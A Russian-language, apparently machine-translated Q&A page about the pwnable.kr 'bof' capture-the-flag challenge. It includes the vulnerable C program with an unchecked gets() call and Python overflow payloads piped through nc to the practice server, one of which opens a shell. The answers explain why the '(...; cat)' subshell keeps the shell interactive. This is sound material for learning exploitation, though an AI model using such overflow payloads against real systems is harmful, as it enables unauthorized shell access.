в чем разница между "python -c 'print'" и "(python -c 'print'; cat)" в linux - PullRequest
0 голосов
/ 26 января 2019

Я обычно использую "python -c" для передачи аргументов программе на Си.

Как это:

$ python -c 'print "a" * 12' | ./program

но когда я выполняю тренировочную программу BOF pwnable.kr / bof ,

python -c 'print'

и

( python -c 'print'; cat )

работают по-другому.

  1. Я написал код эксплойта так:

    $ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
    

    но это не сработало, поэтому я нашел значение stack_canary.

  2. $ python -c 'print "a"*32 +"\x0a"+ "a"*19 + "\xbe\xba\xfe\xca" ' | nc pwnable.kr 9000
    

    но все равно не сработало

  3. Итак, я нашел, что другие люди пишут

    $ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
    

    Этот код эксплойта успешно выполнен /bin/sh

Почему этот 3. код эксплойта проходит через стек канарейки и в чем разница между python -c 'print' и (python -c 'print'; cat)?

#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
   }
 int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
 } 

bof.c source

$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000

* обнаружено разрушение стека *: / home / bof / bof прекращено переполни меня:

Нах ..


$ python -c 'print "a"*32 +"\x0a"' | nc pwnable.kr 9000

переполни меня:

Нах ..


$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000

успешно выполнить / bin / sh

Ответы [ 2 ]

0 голосов
/ 26 января 2019

Посмотрите на принятый ответ на этот вопрос, он довольно неплохо объясняет это.

https://reverseengineering.stackexchange.com/questions/11777/how-to-effectively-bypass-gcc-stack-smashing-detection

0 голосов
/ 26 января 2019
cat /dev/null | /bin/sh

Это запустит /bin/sh оболочку (и ругает кошек, но оставит их на мгновение), и оболочка /bin/sh немедленно закроется, ничего не написав./bin/sh запускает интерактивную оболочку, но, поскольку стандартный ввод оболочки закрыт (либо <nothing> |, либо </dev/null), оболочка обнаруживает, что ввод завершен (она читает EOF) и существует немедленно.

Теперь давайте усложним пример:

$ cat <<EOF >bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
     // bla bla bla 
        system("/bin/sh");
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
EOF

$ gcc bof.c -o bof
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | ./bof

Программа ./bof вызывает system("/bin/sh"), если разбиение стека прошло успешно.Но оболочка /bin/sh будет пытаться читать стандартный ввод.Поскольку больше нечего читать (поскольку ввод python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' закончен), он будет читать EOF и немедленно завершится.

Чтобы написать строку из программы и затем снова позволить вводу быть интерактивным, вы можете использовать подоболочку с cat:

 ( printf "\x11\xbe\xba\xfe\xca" ; cat )

Сначала запустится printfзатем выполните команду cat.cat будет считываться из стандартного ввода после окончания printf, поэтому консоль снова будет работать как интерактивная.

...